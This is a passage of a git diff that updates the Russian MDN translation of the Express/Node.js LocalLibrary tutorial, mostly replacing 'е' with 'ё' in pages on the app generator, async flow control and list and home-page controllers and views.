места):</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Инструмент Express Application Generator создаёт «скелет» приложения Express.</span> <span title="">Установите генератор, используя NPM, как показано (флаг -g устанавливает инструмент глобально, чтобы вы могли вызывать его из любого места):</span></span></p> <pre class="notranslate"><code>npm install express-generator -g</code></pre> @@ -302,7 +302,7 @@ npm run lint</code> <p><span class="tlid-translation translation" lang="ru"><span title="">NPM создаст новое приложение Express в подпапке вашего текущего местоположения, отображая процесс сборки на консоли.</span> <span title="">По завершении инструмент отобразит команды, которые необходимо ввести, чтобы установить зависимости Node и запустить приложение.</span></span></p> <div class="note"> -<p><span class="tlid-translation translation" lang="ru"><span title="">Новое приложение будет иметь файл package.json в своем корневом каталоге.</span> <span title="">Вы можете открыть это, чтобы увидеть, какие зависимости установлены, включая Express и библиотеку шаблонов Jade:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Новое приложение будет иметь файл package.json в своём корневом каталоге.</span> <span title="">Вы можете открыть это, чтобы увидеть, какие зависимости установлены, включая Express и библиотеку шаблонов Jade:</span></span></p> <pre class="brush: js notranslate">{ "name": "helloworld", @@ -341,7 +341,7 @@ SET DEBUG=helloworld:* | npm start DEBUG=helloworld:* npm start </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Команда DEBUG создает полезное ведение журнала, что приводит к выводу, подобному показанному ниже.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Команда DEBUG создаёт полезное ведение журнала, что приводит к выводу, подобному показанному ниже.</span></span></p> <pre class="brush: bash notranslate">>SET DEBUG=helloworld:* & npm start @@ -354,7 +354,7 @@ DEBUG=helloworld:* npm start <p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Мы поговорим больше о сгенерированном приложении, когда перейдем к статье о создании каркасного приложения.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Мы поговорим больше о сгенерированном приложении, когда перейдём к статье о создании каркасного приложения.</span></span></p> <ul> </ul> @@ -363,7 +363,7 @@ DEBUG=helloworld:* npm start <p><span class="tlid-translation translation" lang="ru"><span title="">Теперь на вашем компьютере установлена и запущена среда разработки Node, которую можно использовать для создания веб-приложений Express.</span> <span title="">Вы также увидели, как NPM можно использовать для импорта Express в приложение, а также как вы можете создавать приложения с помощью инструмента Express Application Generator и затем запускать их.</span><br> <br> - <span title="">В следующей статье мы начнем работу с учебным пособием по созданию полноценного веб-приложения с использованием этой среды и связанных инструментов.</span></span></p> + <span title="">В следующей статье мы начнём работу с учебным пособием по созданию полноценного веб-приложения с использованием этой среды и связанных инструментов.</span></span></p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html index 15097717f0..219f5639b0 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html @@ -3,7 +3,7 @@ title: Список авторов. Тест - список жанров slug: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page --- -<p>Страница списка авторов должна показывать список всех авторов, хранимых в БД, причем каждое имя автора должно быть связано со страницей подробностей для этого автора. Дата рождения автора и дата смерти должны выводиться в одной строке после имени автора.</p> +<p>Страница списка авторов должна показывать список всех авторов, хранимых в БД, причём каждое имя автора должно быть связано со страницей подробностей для этого автора. Дата рождения автора и дата смерти должны выводиться в одной строке после имени автора.</p> <h2 class="highlight-spanned" id="Контроллер"><span class="highlight-span">Контроллер</span></h2> @@ -74,8 +74,8 @@ block content </ul> </li> <li>Отображающий шаблон должен быть назван <strong>genre_list.pug</strong>.</li> - <li>Шаблону для отображения должны быть переданы переменные <code>title</code> (строка 'Genre List') и <code>genre_list</code> (the list of список жанров, который вернет колбэк-функция <code>Genre.find()</code>.</li> - <li>Представление должно соответствовать скриншоту, приведенному ранее (оно должно иметь структуру и формат, похожие на таковые в представлении списка авторов, за исключением, конечно, продолжительности жизни, так как для жанров даты не заданы).</li> + <li>Шаблону для отображения должны быть переданы переменные <code>title</code> (строка 'Genre List') и <code>genre_list</code> (the list of список жанров, который вернёт колбэк-функция <code>Genre.find()</code>.</li> + <li>Представление должно соответствовать скриншоту, приведённому ранее (оно должно иметь структуру и формат, похожие на таковые в представлении списка авторов, за исключением, конечно, продолжительности жизни, так как для жанров даты не заданы).</li> </ol> <h2 id="Далее">Далее</h2> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html index fbbf8c9622..6bbab5a709 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html @@ -3,7 +3,7 @@ title: Страница списка книг slug: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page --- -<p>Далее мы реализуем нашу страницу списка книг. На этой странице должен отображаться список всех книг и их авторов в базе данных, причем каждое название книги является гиперссылкой на соответствующую страницу сведений о книге.</p> +<p>Далее мы реализуем нашу страницу списка книг. На этой странице должен отображаться список всех книг и их авторов в базе данных, причём каждое название книги является гиперссылкой на соответствующую страницу сведений о книге.</p> <h2 class="highlight-spanned" id="Контроллер"><span class="highlight-span">Контроллер</span></h2> @@ -24,7 +24,7 @@ exports<span class="punctuation token">.</span>book_list <span class="operator t <span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> -<p>Метод использует функцию модели<code>find()</code> для возврата всех объектов <code>Book</code>, выбрав для возврата только заголовок и автора, поскольку нам не нужны другие поля (он также вернет <code>_id</code> и виртуальные поля). Здесь мы также вызываем <code>populate()</code> on <code>Book</code>, указывая поле <code>author</code> —это заменит сохраненный идентификатор автора книги полными сведениями об авторе.</p> +<p>Метод использует функцию модели<code>find()</code> для возврата всех объектов <code>Book</code>, выбрав для возврата только заголовок и автора, поскольку нам не нужны другие поля (он также вернёт <code>_id</code> и виртуальные поля). Здесь мы также вызываем <code>populate()</code> on <code>Book</code>, указывая поле <code>author</code> —это заменит сохранённый идентификатор автора книги полными сведениями об авторе.</p> <p>При успешном выполнении, колбэк передаст запрос на отрисовку шаблона <strong>book_list</strong>(.pug), передаст <code>title</code> и<code>book_list</code> (список книг с автором) в качестве переменных.</p> @@ -46,7 +46,7 @@ block content <span class="keyword token">else</span> li There are no books<span class="punctuation token">.</span></code></pre> -<p>View расширит базовый шаблон <strong>layout.pug</strong> и переопределит <code>block</code> с именем '<strong>content</strong>'. Он отображает <code>title</code> который мы передали из контроллера (с помощью метода <code>render()</code> ), а затем перебирает переменную <code>book_list</code> используя синтаксис <code>each</code>-<code>in</code>-<code>else</code> . Для каждой книги создается элемент списка, отображающий название книги в виде ссылки на страницу сведений о книге, за которой следует имя автора. Если в <code>book_list</code> нет книг, то выполняется <code>else</code>, и отображается текст "нет книг".'</p> +<p>View расширит базовый шаблон <strong>layout.pug</strong> и переопределит <code>block</code> с именем '<strong>content</strong>'. Он отображает <code>title</code> который мы передали из контроллера (с помощью метода <code>render()</code> ), а затем перебирает переменную <code>book_list</code> используя синтаксис <code>each</code>-<code>in</code>-<code>else</code> . Для каждой книги создаётся элемент списка, отображающий название книги в виде ссылки на страницу сведений о книге, за которой следует имя автора. Если в <code>book_list</code> нет книг, то выполняется <code>else</code>, и отображается текст "нет книг".'</p> <div class="note"> <p><strong>Заметка: </strong>Мы используем <code>book.url</code> для предоставления ссылки на подробную запись для каждой книги (мы реализовали этот маршрут, но не страницу). Это виртуальное свойство модели <code>Book</code> , которая использует поле <code>_id</code> для создания уникального URL.</p> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html index 6a924829bf..20b7d94f6a 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html @@ -9,7 +9,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_li <p>Функция контроллера списка <code>BookInstance</code> требуется для получения списка всех экземпляров некоторой книги, для получения информации, связанной с книгой, и для передачи полученного списка в шаблон для отображения.</p> -<p>Откройте файл <strong>/controllers/bookinstanceController.js</strong>. Найдите экспортируемый метод <code>bookinstance_list()</code> контроллера и замените его следующим кодом (измененный код выделен жирным).</p> +<p>Откройте файл <strong>/controllers/bookinstanceController.js</strong>. Найдите экспортируемый метод <code>bookinstance_list()</code> контроллера и замените его следующим кодом (изменённый код выделен жирным).</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all BookInstances.</span> exports<span class="punctuation token">.</span>bookinstance_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> @@ -30,7 +30,7 @@ exports<span class="punctuation token">.</span>bookinstance_list <span class="op <h2 class="highlight-spanned" id="Представление">Представление</h2> -<p>Создайте файл <strong>/views/bookinstance_list.pug</strong> и скопируйте в него текст, приведенный ниже.</p> +<p>Создайте файл <strong>/views/bookinstance_list.pug</strong> и скопируйте в него текст, приведённый ниже.</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html index 2180be7c4b..84e9925d43 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html @@ -46,7 +46,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting <span class="comment token">//span (Due: #{val.due_back} )</span> span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back_formatted<span class="punctuation token">}</span> <span class="punctuation token">)</span> </code></pre> -<p>Вот и все. Если вы перейдете к <em>All book-instances</em> в боковом меню, вы должны увидеть все даты в привлекательном формате!</p> +<p>Вот и все. Если вы перейдёте к <em>All book-instances</em> в боковом меню, вы должны увидеть все даты в привлекательном формате!</p> <p> </p> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html index f951a355e5..c09963fb70 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html @@ -6,7 +6,7 @@ tags: - Часть 5 translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async --- -<p>Код контроллера для некоторых страниц библиотеки будет зависеть от результатов многих асинхронных запросов, которые должны выполняться в определенном порядке или параллельно. Для того, чтобы управлять потоком выполнения, и выводить страницы, когда получена вся необходимая информация, будет использован <a class="external external-icon" href="https://www.npmjs.com/package/async" rel="noopener">async</a> - известный модуль node.</p> +<p>Код контроллера для некоторых страниц библиотеки будет зависеть от результатов многих асинхронных запросов, которые должны выполняться в определённом порядке или параллельно. Для того, чтобы управлять потоком выполнения, и выводить страницы, когда получена вся необходимая информация, будет использован <a class="external external-icon" href="https://www.npmjs.com/package/async" rel="noopener">async</a> - известный модуль node.</p> <div class="note"> <p><strong>Note:</strong> В JavaScript существует много других способов управления асинхронным поведением и потоком выполнения, включая такой относительно новый элемент языка JacaScript как <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Techniques/Promises">Promises</a> (обещания, промисы).</p> @@ -17,12 +17,12 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us <ul> <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code> для осуществления любых операций, которые должны выполняться параллельно.</li> <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> если нужно иметь уверенность, что асинхронные операции выполняются последовательно.</li> - <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> для операций, которые должны выполняться последовательно, причем каждая операция зависит от результатов предыдущих операций.</li> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> для операций, которые должны выполняться последовательно, причём каждая операция зависит от результатов предыдущих операций.</li> </ul> <h2 class="highlight-spanned" id="Почему_это_необходимо"><span class="highlight-span">Почему это необходимо?</span></h2> -<p>Большинство методов, которые используются в <em>Express</em> - <span class="highlight-span">асинхронные - вы определяете выполняемую операцию, передавая </span> колбэк-функцию. Метод завершается немедленно, а колбэк-функция вызывается тогда, когда завершилась запрошенная операция. По соглашению, принятому в <em>Express</em>, колбэк-функция передает значение ошибки <em>error</em> как первый параметр (или <code>null</code> при успехе) и результат функции (если есть) как второй параметр.</p> +<p>Большинство методов, которые используются в <em>Express</em> - <span class="highlight-span">асинхронные - вы определяете выполняемую операцию, передавая </span> колбэк-функцию. Метод завершается немедленно, а колбэк-функция вызывается тогда, когда завершилась запрошенная операция. По соглашению, принятому в <em>Express</em>, колбэк-функция передаёт значение ошибки <em>error</em> как первый параметр (или <code>null</code> при успехе) и результат функции (если есть) как второй параметр.</p> <p>Если контроллер должен выполнить только одну асинхронную операцию, чтобы получить информацию для представления страницы, то реализация проста - мы просто представляем шаблон в колбэке. Фрагмент кода (ниже) демонстрирует это для функции, которая подсчитывает количество элементов модели <code>SomeModel</code> (применяя метод Mongoose <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.count" rel="noopener">count()</a></code> ):</p> @@ -37,9 +37,9 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us <code>}</code> </pre> -<p>Однако что, если требуется сделать <strong>множественные</strong> асинхронные запросы, и результат нельзя представить, пока не завершились все операции? Наивная реализация могла бы использовать "венок" запросов, запуская последующие запросы в колбэках предыдущих, и представляя ответ в последнем колбэке. Проблема такого подхода состоит в том, что запросы должны выполняться последовательно, хотя, вероятно, было бы более эффективно выполнять их параллельно. Это также может привести к усложненному вложенному коду, что обычно называют адом колбэков ( <a class="external external-icon" href="http://callbackhell.com/" rel="noopener">callback hell</a> ).</p> +<p>Однако что, если требуется сделать <strong>множественные</strong> асинхронные запросы, и результат нельзя представить, пока не завершились все операции? Наивная реализация могла бы использовать "венок" запросов, запуская последующие запросы в колбэках предыдущих, и представляя ответ в последнем колбэке. Проблема такого подхода состоит в том, что запросы должны выполняться последовательно, хотя, вероятно, было бы более эффективно выполнять их параллельно. Это также может привести к усложнённому вложенному коду, что обычно называют адом колбэков ( <a class="external external-icon" href="http://callbackhell.com/" rel="noopener">callback hell</a> ).</p> -<p>Намного лучше было бы выполнять все запросы параллельно, и иметь единственную колбэк-функцию, которая будет вызвана после того как все запросы выполнены. Именно такое выполнение операций модуль <em>Async</em> делает легким и простым!</p> +<p>Намного лучше было бы выполнять все запросы параллельно, и иметь единственную колбэк-функцию, которая будет вызвана после того как все запросы выполнены. Именно такое выполнение операций модуль <em>Async</em> делает лёгким и простым!</p> <h2 class="highlight-spanned" id="Параллельные_асинхронные_операции"><span class="highlight-span">Параллельные асинхронные операции</span></h2> @@ -47,7 +47,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us <p>Первый аргумент в <code>async.parallel()</code> - это коллекция асинхронных функций, которые требуется выполнить (массив, объект или другой итерируемый элемент). Каждая функция получает колбэк-функцию <code>callback(err, result)</code> , которую она должна вызвать при завершении, с ошибкой <code>err</code> (может быть <code>null</code>) и, возможно, со значением результата <code>results</code>.</p> -<p>Возможный второй аргумент для <code>async.parallel()</code> - это callback -функция, которая должна быть вызвана после завершения всех функций, указанных в первом аргументе. Эта функция вызывается с аргументом ошибки и результатом - коллекцией результатов отдельных асинхронных операций. Тип коллекции - такой же, как и тип первого аргумента async.parallel (т.е. если передается <em>массив</em> асинхронных функций, итоговая колбэк-функция будет вызвана с <em>массивом</em> результатов). Если любая из параллельных функций сообщила об ошибке, сразу вызывается итоговая колбэк-функция, которая возвращает ошибку.</p> +<p>Возможный второй аргумент для <code>async.parallel()</code> - это callback -функция, которая должна быть вызвана после завершения всех функций, указанных в первом аргументе. Эта функция вызывается с аргументом ошибки и результатом - коллекцией результатов отдельных асинхронных операций. Тип коллекции - такой же, как и тип первого аргумента async.parallel (т.е. если передаётся <em>массив</em> асинхронных функций, итоговая колбэк-функция будет вызвана с <em>массивом</em> результатов). Если любая из параллельных функций сообщила об ошибке, сразу вызывается итоговая колбэк-функция, которая возвращает ошибку.</p> <p>Пример ниже показывает, как это работает в случае, когда первый аргумент является объектом. Как видно, результаты возвращаются в объекте с такими же именами свойств, как у переданных функций.</p> @@ -67,7 +67,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us <h2 class="highlight-spanned" id="Последовательные_асинхронные_операции"><span class="highlight-span">Последовательные асинхронные операции</span></h2> -<p>Для выполнения нескольких асинхронных операций последовательно используется метод <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> , при этом <span class="highlight-span">последующие функции не зависят от результатов предыдущих функций</span>. Метод определяется и ведет себя так же, как и <code>async.parallel()</code>.</p> +<p>Для выполнения нескольких асинхронных операций последовательно используется метод <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> , при этом <span class="highlight-span">последующие функции не зависят от результатов предыдущих функций</span>. Метод определяется и ведёт себя так же, как и <code>async.parallel()</code>.</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">{</span> one<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">.</span><span class="punctuation token">.</span><span class="punctuation token">.</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> @@ -82,7 +82,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us <span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <div class="note"> -<p><strong>Заметка:</strong> Спецификация языка ECMAScript (JavaScript) устанавливает, что порядок в перечислении объектов не определен, поэтому возможно, что функции не будут вызываться в том порядке, в котором вы их задали на всех платформах. Если порядок вызова действительно важен, вместо объекта следует передавать массив, как показано ниже.</p> +<p><strong>Заметка:</strong> Спецификация языка ECMAScript (JavaScript) устанавливает, что порядок в перечислении объектов не определён, поэтому возможно, что функции не будут вызываться в том порядке, в котором вы их задали на всех платформах. Если порядок вызова действительно важен, вместо объекта следует передавать массив, как показано ниже.</p> </div> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">series</span><span class="punctuation token">(</span><span class="punctuation token">[</span> @@ -105,7 +105,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us <p>Выполнение нескольких асинхронных операций последовательно, когда каждая операция зависит от результатов предыдущих операций, осуществляется методом <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code>.</p> -<p>Функции-callback, которая вызываются асинхронными функциями , содержит <code>null</code> как первый аргумент, и результаты в следующих аргументах. Каждая функция в последовательности (кроме первой) как аргументы использует результаты предыдущих функция, а колбэк-функция является последним аргументом. Когда операции завершаются, вызывается финальная колбэк-функция, аргументы которой - объект err и результат последней операции. Как это работает, станет более ясным после рассмотрения примера - фрагмента кода, приведенного ниже ( пример взят из документации <em>async</em>):</p> +<p>Функции-callback, которая вызываются асинхронными функциями , содержит <code>null</code> как первый аргумент, и результаты в следующих аргументах. Каждая функция в последовательности (кроме первой) как аргументы использует результаты предыдущих функция, а колбэк-функция является последним аргументом. Когда операции завершаются, вызывается финальная колбэк-функция, аргументы которой - объект err и результат последней операции. Как это работает, станет более ясным после рассмотрения примера - фрагмента кода, приведённого ниже ( пример взят из документации <em>async</em>):</p> <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">waterfall</span><span class="punctuation token">(</span><span class="punctuation token">[</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{//первая функция в цепочке</span> @@ -126,7 +126,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_us <h2 class="highlight-spanned" id="Установка_async"><span class="highlight-span">Установка async</span></h2> -<p>Установим модуль async при помощи менеджера пакетов NPM, чтобы использовать его в своем коде. Это делается обычным способом - откроем окно команд в корне проекта <em>LocalLibrary</em> и введем команду:</p> +<p>Установим модуль async при помощи менеджера пакетов NPM, чтобы использовать его в своём коде. Это делается обычным способом - откроем окно команд в корне проекта <em>LocalLibrary</em> и введём команду:</p> <pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install async</code></pre> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html index b3e40ff7a9..c62d6f9364 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html @@ -43,7 +43,7 @@ exports.genre_detail = function(req, res, next) { }; </pre> -<p>Метод использует <code>async.parallel()</code> для параллельного запроса названия жанра и связанных с ним книг, причем колбэк-функция возвращает страницу, когда (если) оба запроса завершились успешно.</p> +<p>Метод использует <code>async.parallel()</code> для параллельного запроса названия жанра и связанных с ним книг, причём колбэк-функция возвращает страницу, когда (если) оба запроса завершились успешно.</p> <p>The ID of the required genre record is encoded at the end of the URL and extracted automatically based on the route definition (<strong>/genre/:id</strong>). The ID is accessed within the controller via the request parameters: <code style="font-style: normal; font-weight: normal;">req.params.id</code>. It is used in <code style="font-style: normal; font-weight: normal;">Genre.findById()</code> to get the current genre. It is also used to get all <code>Book</code> objects that have the genre ID in their <code>genre</code> field: <code>Book.find({ 'genre': req.params.id })</code>.</p> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html index 2458131cd1..05b2dc3976 100644 --- a/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/home_page/index.html @@ -14,20 +14,20 @@ translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page <pre class="brush: js ">// GET catalog home page. router.get('/', book_controller.index); //This actually maps to /catalog/ because we import the route with a /catalog prefix</pre> -<p>Параметр колбэк-функции определен в <strong>/controllers/bookController.js</strong>:</p> +<p>Параметр колбэк-функции определён в <strong>/controllers/bookController.js</strong>:</p> <pre class="brush: js">exports.index = function(req, res, next) { res.send('NOT IMPLEMENTED: Site Home Page'); }</pre> -<p>Именно эту функцию контроллера мы расширим, чтобы получать информацию из моделей и затем отображать ее, используя шаблоны (представления).</p> +<p>Именно эту функцию контроллера мы расширим, чтобы получать информацию из моделей и затем отображать её, используя шаблоны (представления).</p> <h2 id="Контроллер">Контроллер</h2> -<p>Функция контроллера индекса должна получать информацию о том, сколько книг (<code>Book)</code>, экземпляров книг (<code>BookInstance)</code>, сколько из них доступно, сколько авторов (<code>Author)</code>, жанров (<code>Genre)</code> имеется в БД, должна поместить эту информацию в шаблон, чтобы создать HTML-страницу, после чего вернуть ее в HTTP-ответе.</p> +<p>Функция контроллера индекса должна получать информацию о том, сколько книг (<code>Book)</code>, экземпляров книг (<code>BookInstance)</code>, сколько из них доступно, сколько авторов (<code>Author)</code>, жанров (<code>Genre)</code> имеется в БД, должна поместить эту информацию в шаблон, чтобы создать HTML-страницу, после чего вернуть её в HTTP-ответе.</p> <div class="note"> -<p><strong>Заметка:</strong> Количество экземпляров в каждой модели вычисляется при помощи метода <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.countDocuments" rel="noopener">countDocuments()</a></code> . Он вызывается для модели с возможным набором условий, необходимых для проверки соответствия первому аргументу и колбэк-функции второго аргумента (обсуждалось ранее в "Использование базы данных с Mongoose" <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Using a Database (with Mongoose)</a>), причем можно вернуть также запрос <code>Query,</code> а затем выполнить его позже при помощи callback. Эта колбэк-функция будет выполняться, когда БД вернет количество записей. Значение ошибки (or <code>null</code>) будет первым параметром, а количество записей (или null, если была ошибка) - вторым параметром.</p> +<p><strong>Заметка:</strong> Количество экземпляров в каждой модели вычисляется при помощи метода <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.countDocuments" rel="noopener">countDocuments()</a></code> . Он вызывается для модели с возможным набором условий, необходимых для проверки соответствия первому аргументу и колбэк-функции второго аргумента (обсуждалось ранее в "Использование базы данных с Mongoose" <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Using a Database (with Mongoose)</a>), причём можно вернуть также запрос <code>Query,</code> а затем выполнить его позже при помощи callback. Эта колбэк-функция будет выполняться, когда БД вернёт количество записей. Значение ошибки (or <code>null</code>) будет первым параметром, а количество записей (или null, если была ошибка) - вторым параметром.</p> <pre class="brush: js ">SomeModel.countDocuments({ a_model_field: 'match_value' }, function (err, count) { // ... do something if there is an err @@ -43,7 +43,7 @@ exports.index = function(req, res, next) { res.send('NOT IMPLEMENTED: Site Home Page'); }</pre> -<p>Замените весь код, показанный выше, на следующий фрагмент кода. Первое, что он делает - импортирует (<code>require()</code>) все модели (выделено жирным). Это требуется, поскольку они нужны для подсчета числа записей. Затем импортируется модуль <em>async</em> .</p> +<p>Замените весь код, показанный выше, на следующий фрагмент кода. Первое, что он делает - импортирует (<code>require()</code>) все модели (выделено жирным). Это требуется, поскольку они нужны для подсчёта числа записей. Затем импортируется модуль <em>async</em> .</p> <pre class="brush: js "><strong>var Book = require('../models/book'); var Author = require('../models/author'); @@ -76,7 +76,7 @@ exports.index = function(req, res) { }); };</pre> -<p>Метод <code>async.parallel()</code> передает объект с функциями для получения количества элементов каждой модели. Все эти функции стартуют одновременно. Когда все они завершатся, будет вызвана финальная колбэк-функция, в итоговом параметре которой содержится нужный нам результат (или ошибка).</p> +<p>Метод <code>async.parallel()</code> передаёт объект с функциями для получения количества элементов каждой модели. Все эти функции стартуют одновременно. Когда все они завершатся, будет вызвана финальная колбэк-функция, в итоговом параметре которой содержится нужный нам результат (или ошибка).</p> <p>При успешном завершении колбэк-функции она вызывает <code><a class="external external-icon" href="http://expressjs.com/en/4x/api.html#res.render" rel="noopener">res.render()</a></code>, у которой в качестве параметров - представление (шаблон) '<strong>index</strong>' и объект, содержащий данные, которые следует поместить в шаблон (среди них - количества элементов в моделях). Данные представлены как пары ключ-значение, и могут быть получены в шаблоне по ключу.</p> @@ -86,7 +86,7 @@ exports.index = function(req, res) { <h2 id="Представление">Представление</h2> -<p>Откройте файл <strong>/views/index.pug</strong> и замените его содержимое текстом, приведенным ниже</p> +<p>Откройте файл <strong>/views/index.pug</strong> и замените его содержимое текстом, приведённым ниже</p> <pre class="brush: js ">extends layout @@ -108,7 +108,7 @@ block content li #[strong Authors:] !{data.author_count} li #[strong Genres:] !{data.genre_count}</pre> -<p>Представление несложное. Мы расширили базовый шаблон <strong>layout.pug</strong>, переопределив блок (<code>block)</code> с именем '<strong>content</strong>'. Первый заголовок <code>h1</code> будет экранированным текстом - значением переменной <code>title</code> ,variable that которая передается в функцию <code>render()</code> —заметьте, что применение '<code>h1=</code>' говорит, что следующий текст рассматривается как выражение JavaScript. Затем расположен параграф, знакомящий с LocalLibrary.</p> +<p>Представление несложное. Мы расширили базовый шаблон <strong>layout.pug</strong>, переопределив блок (<code>block)</code> с именем '<strong>content</strong>'. Первый заголовок <code>h1</code> будет экранированным текстом - значением переменной <code>title</code> ,variable that которая передаётся в функцию <code>render()</code> —заметьте, что применение '<code>h1=</code>' говорит, что следующий текст рассматривается как выражение JavaScript. Затем расположен параграф, знакомящий с LocalLibrary.</p> <p>Под заголовком <em>Dynamic content</em> мы проверяем, определена ли переданная из функции <code>render()</code> переменная error. Если да, отмечаем ошибку. Если нет, выводим ( как список) количества копий каждой модели, которые хранятся в переменной <code>data</code>.</p> @@ -118,12 +118,12 @@ block content <h2 id="Как_это_выглядит">Как это выглядит?</h2> -<p>Сейчас у нас есть все для того, чтобы показать страницу index. Запустите приложение и откройте браузер с адресом <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Если все задано правильно, ваш сайт должен иметь примерно такой вид, как на приведенном снимке экрана.</p> +<p>Сейчас у нас есть все для того, чтобы показать страницу index. Запустите приложение и откройте браузер с адресом <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Если все задано правильно, ваш сайт должен иметь примерно такой вид, как на приведённом снимке экрана.</p> <p><img alt="Home page - Express Local Library site" src="https://mdn.mozillademos.org/files/14458/LocalLibary_Express_Home.png" style="display: block; height: 440px; margin: 0px 